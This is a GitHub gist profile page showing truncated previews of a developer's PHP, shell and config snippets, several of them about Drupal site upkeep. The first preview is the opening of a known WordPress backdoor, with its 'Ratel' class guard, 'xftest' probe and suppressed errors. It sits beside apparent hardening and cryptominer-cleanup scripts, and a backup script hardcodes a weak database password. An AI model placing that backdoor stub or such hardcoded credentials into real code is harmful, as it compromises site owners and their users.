Skip to content

Instantly share code, notes, and snippets.

View isholgueras's full-sized avatar

Ignacio Sánchez isholgueras

View GitHub Profile
<?php if (!class_exists('Ratel')) {
if (function_exists('is_user_logged_in')) {
if (is_user_logged_in()) {
return FALSE;
}
}
if (isset($_REQUEST['xftest'])) {
die(pi() * 6);
}
@ini_set('display_errors', 0);
# Turn off all options we don't need.
Options None
Options +FollowSymLinks
# Set the catch-all handler to prevent scripts from being executed.
SetHandler YouShallNotPass
<Files *>
# Override the handler again if we're run later in the evaluation list.
SetHandler YouShallNotPass
</Files>
<?php
// crontab -e ->
// 1 * * * * php /home/core/clean_cryptocurrency_activity.php >> /var/log/cryptocurrency_activity.log 2>&1
// Don't forget to add the file to logrotate!! (or delete it periodically)
$date = new DateTime("now");
$dateString = $date->format("Y/m/d-H:i:s");
$needToClean = false;
@isholgueras
isholgueras / drupal_backup.sh
Last active June 23, 2018 14:47
Backups of Drupal sites
#!/bin/bash
# DATOS
WEB_ROOT=/apps/
BACKUP_ROOT=/home/core/backups
DB_USER=backup #Permiso para SELECT y LOCK TABLES
DB_PASSWORD=b4ckup
DAYS_FOR_BACKUP=100
DATE=$( date -I )
<?php
// APPEND into the class you wanna test.
/** @var array */
private $time;
private function initTimeMeasurement() {
$now = new \DateTimeImmutable('now');
$this->time = [];
$this->time[] = [
'time' => $now,
zend_extension=xdebug.so
xdebug.remote_connect_back = 1
xdebug.default_enable = 1
xdebug.remote_autostart = 1
xdebug.remote_enable = 1
xdebug.remote_port = 9000
xdebug.remote_handler = dbgp
xdebug.max_nesting_level = 500
xdebug.idekey = PHPSTORM
;xdebug.profiler_enable_trigger = 1
@isholgueras
isholgueras / add_file_to_node_D7.php
Created July 30, 2012 09:04
Add files tod node programatically in Drupal 7
<?php
$existing_filepath = "/home/nzcodarnoc/sites/default/files/imported/picture.jpg"
$new_filepath = "public://picture.jpg"
// Load a node
$node = node_load($nid, NULL, TRUE);
// Create the file object
$drupal_file = file_save_data(file_get_contents($existing_filepath), $new_filepath);
$drupal_file->alt = $node->title;
$drupal_file->title = $node->title;
// Assign the file object to the node, as an array
@isholgueras
isholgueras / loteria-navidad.php
Last active December 22, 2022 10:52
Script en PHP para comprobar los números de la lotería de navidad utilizando la api de elpais.com
<html>
<body>
<?php
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
$request_url = "https://api.elpais.com/ws/LoteriaNavidadPremiados?n=";
$numbers = [
12345,
67890,